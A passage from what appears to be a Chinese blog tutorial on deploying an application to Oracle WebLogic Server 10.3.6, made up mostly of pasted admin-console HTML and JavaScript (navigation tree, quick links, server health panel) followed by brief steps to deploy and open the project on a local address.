_aaaaa = new TreeNode('JmsBridgedestinationJMSBridgeDestinationTablePage',_aaaa, 'JMS Bridge Destinations', '/console/console.portal?_nfpb=true&_pageLabel=JmsBridgedestinationJMSBridgeDestinationTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Bridge Destinations', false, false);
_aaa = new TreeNode('GlobalJDBCDataSourceTablePage',_aa, 'Data Sources', '/console/console.portal?_nfpb=true&_pageLabel=GlobalJDBCDataSourceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Data Sources', false, false);
_aaa = new TreeNode('JmsStoresJMSStoreTablePage',_aa, 'Persistent Stores', '/console/console.portal?_nfpb=true&_pageLabel=JmsStoresJMSStoreTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Persistent Stores', false, false);
_aaa = new TreeNode('ForeignJNDIProviderTablePage',_aa, 'Foreign JNDI Providers', '/console/console.portal?_nfpb=true&_pageLabel=ForeignJNDIProviderTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Foreign JNDI Providers', false, false);
_aaa = new TreeNode('WorkContextPathTablePage',_aa, 'Work Contexts', '/console/console.portal?_nfpb=true&_pageLabel=WorkContextPathTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Contexts', false, false);
_aaa = new TreeNode('XMLRegistryXMLRegistryTablePage',_aa, 'XML Registries', '/console/console.portal?_nfpb=true&_pageLabel=XMLRegistryXMLRegistryTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Registries', false, false);
_aaa = new TreeNode('XMLEntityCacheTablePage',_aa, 'XML Entity Caches', '/console/console.portal?_nfpb=true&_pageLabel=XMLEntityCacheTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'XML Entity Caches', false, false);
_aaa = new TreeNode('JComClassTablePage',_aa, 'jCOM', '/console/console.portal?_nfpb=true&_pageLabel=JComClassTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'jCOM', false, false);
_aaa = new TreeNode('MailMailSessionTablePage',_aa, 'Mail Sessions', '/console/console.portal?_nfpb=true&_pageLabel=MailMailSessionTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Mail Sessions', false, false);
_aaa = new TreeNode('FileT3FileT3TablePage',_aa, 'File T3', '/console/console.portal?_nfpb=true&_pageLabel=FileT3FileT3TablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'File T3', false, false);
_aaa = new TreeNode('DomainConfigJtaPage',_aa, 'JTA', '/console/console.portal?_nfpb=true&_pageLabel=DomainConfigJtaPage&DomainConfigJtaPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'JTA', false, false);
_aa = new TreeNode('SecurityRealmRealmTablePage',_a, 'Security Realms', '/console/console.portal?_nfpb=true&_pageLabel=SecurityRealmRealmTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Security Realms', false, false);
_aa = new TreeNode('InteroperabilitySummaryPage',_a, 'Interoperability', '/console/console.portal?_nfpb=true&_pageLabel=InteroperabilitySummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Interoperability', false, true);
_aaa = new TreeNode('WTCServerTablePage',_aa, 'WTC Servers', '/console/console.portal?_nfpb=true&_pageLabel=WTCServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'WTC Servers', false, false);
_aaa = new TreeNode('JoltConnectionPoolTablePage',_aa, 'Jolt Connection Pools', '/console/console.portal?_nfpb=true&_pageLabel=JoltConnectionPoolTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Jolt Connection Pools', false, false);
_aa = new TreeNode('DiagnosticsSummaryPage',_a, 'Diagnostics', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostics', false, true);
_aaa = new TreeNode('DiagnosticsLogTablePage',_aa, 'Log Files', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsLogTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Log Files', false, false);
_aaa = new TreeNode('DiagnosticsModuleTablePage',_aa, 'Diagnostic Modules', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsModuleTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Modules', false, false);
_aaa = new TreeNode('DiagnosticsImageTablePage',_aa, 'Diagnostic Images', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsImageTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Diagnostic Images', false, false);
_aaa = new TreeNode('RequestPerformancePage',_aa, 'Request Performance', '/console/console.portal?_nfpb=true&_pageLabel=RequestPerformancePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Request Performance', false, false);
_aaa = new TreeNode('DiagnosticsArchiveTablePage',_aa, 'Archives', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsArchiveTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Archives', false, false);
_aaa = new TreeNode('DiagnosticsContextTablePage',_aa, 'Context', '/console/console.portal?_nfpb=true&_pageLabel=DiagnosticsContextTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Context', false, false);
_aaa = new TreeNode('SNMPAgentsTablePage',_aa, 'SNMP', '/console/console.portal?_nfpb=true&_pageLabel=SNMPAgentsTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'SNMP', false, false);
var messageCatalog = new Array(7);messageCatalog["tree.popup.collapsenode.label"] = "Collapse Node";messageCatalog["tree.popup.expandnode.label"] = "Expand Node";messageCatalog["tree.popup.expanded.label"] = "Expanded";messageCatalog["tree.popup.collapsed.label"] = "Collapsed";messageCatalog["tree.popup.of.label"] = "of";messageCatalog["tree.popup.selected.label"] = "Selected";messageCatalog["tree.popup.level.label"] = "Level";
setHighlightedNodes( 'AppApplicationInstallPage' );
createTree(_a);
}
document.write('<\/div>');
</script>
<form onsubmit='alert(this.nodeId);' method='post' id='HierarchyManagementForm' name='HierarchyManagementForm' action='/console/console.portal'>
<input type='hidden' name='action' value=''>
<input type='hidden' name='nodeId' value=''>
<input type='hidden' name='_nfpb' value='true'>
</form>
</div>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div><div id="QuickLinksBook" class="none"><div class="wlsc-book-content"><div id="QuickLinksPage" class="wlsc-page"><div id="QuickLinks" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>How do I...</h2></div><div class="wlsc-titlebar-button-panel"> <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_windowLabel=QuickLinks&_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">
<ul>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.StopDeployedEnterpriseApplications')">Start and stop a deployed Enterprise application</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.ConfigureEnterpriseApplications')">Configure an Enterprise application</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.CreateDeploymentPlan')">Create a deployment plan</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.TargetEnterpriseApplication')">Target an Enterprise application to a server</a></li>
<li onm ouseover="this.className='quicklinksrowover';" onm ouseout="this.className='quicklinksrowout';">
<a href="#" onclick="return wls.console.launchTaskHelp('applications.TestAppModules')">Test the modules in an Enterprise application</a></li>
</ul>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div><div id="SystemStatusBook" class="none"><div class="wlsc-book-content"><div id="SystemStatusPage" class="wlsc-page"><div id="SystemStatus" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>System Status</h2></div><div class="wlsc-titlebar-button-panel"> <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_windowLabel=SystemStatus&_state=minimized"><img src="/console/framework/skins/wlsconsole/images/titlebar-button-minimize.png" class="" title="Minimize" alt="Minimize "></a></div></div></div><div class="wlsc-window-content">
![](https://www.icode9.com/i/l/?n=20&i=blog/1630201/202102/1630201-20210222164339454-1949347657.png)
<p class="serverStatusHead">Health of Running Servers</p>
<div class="serverStatusDataArea">
<div class="statusRow">
<div class="statusBar" title="Failed (0)">
<div id="serverStatusBarFail" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Failed&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of FAILED (0)">
Failed (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="Critical (0)">
<div id="serverStatusBarCritical" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Critical&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of CRITICAL (0)">
Critical (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="Overloaded (0)">
<div id="serverStatusBarOverloaded" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Overloaded&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of OVERLOADED (0)">
Overloaded (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="Warning (0)">
<div id="serverStatusBarWarning" style="width:1%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=Warning&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of WARNING (0)">
Warning (0)</a>
</div>
</div>
<div class="statusRow">
<div class="statusBar" title="OK (1)">
<div id="serverStatusBarOk" style="width:100%"> </div>
</div>
<div class="statusLabel">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=DomainMonitorHealthPage&DomainMonitorHealthPortletcolumn=Health&DomainMonitorHealthPortletvalue=OK&DomainMonitorHealthPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29"
title="View list of servers with health of OK (1)">
OK (1)</a>
</div>
</div>
<div class="clear"> </div>
</div>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div></div></div></div></div></div><div class="wlsc-footer"><div id="console-footer"><div class="info"><p id="footerVersion">WebLogic Server Version: 10.3.6.0</p><p id="copyright">Copyright © 1996, 2011, Oracle and/or its affiliates. All rights reserved.</p><p id="trademark">Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.</p></div></div></div></body></html>
后面基本就是一路Next,详细的操作参考:https://www.cnblogs.com/DFX339/p/8515200.html
部署完成
开始配置系统环境
http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=CoreServerServerTablePage
选择协议,然后选择HTTP
再次点击部署(Deployments)
http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage
然后就可以访问项目了 http://IP:PORT/ProjectName
http://192.168.52.128:7001/test3693/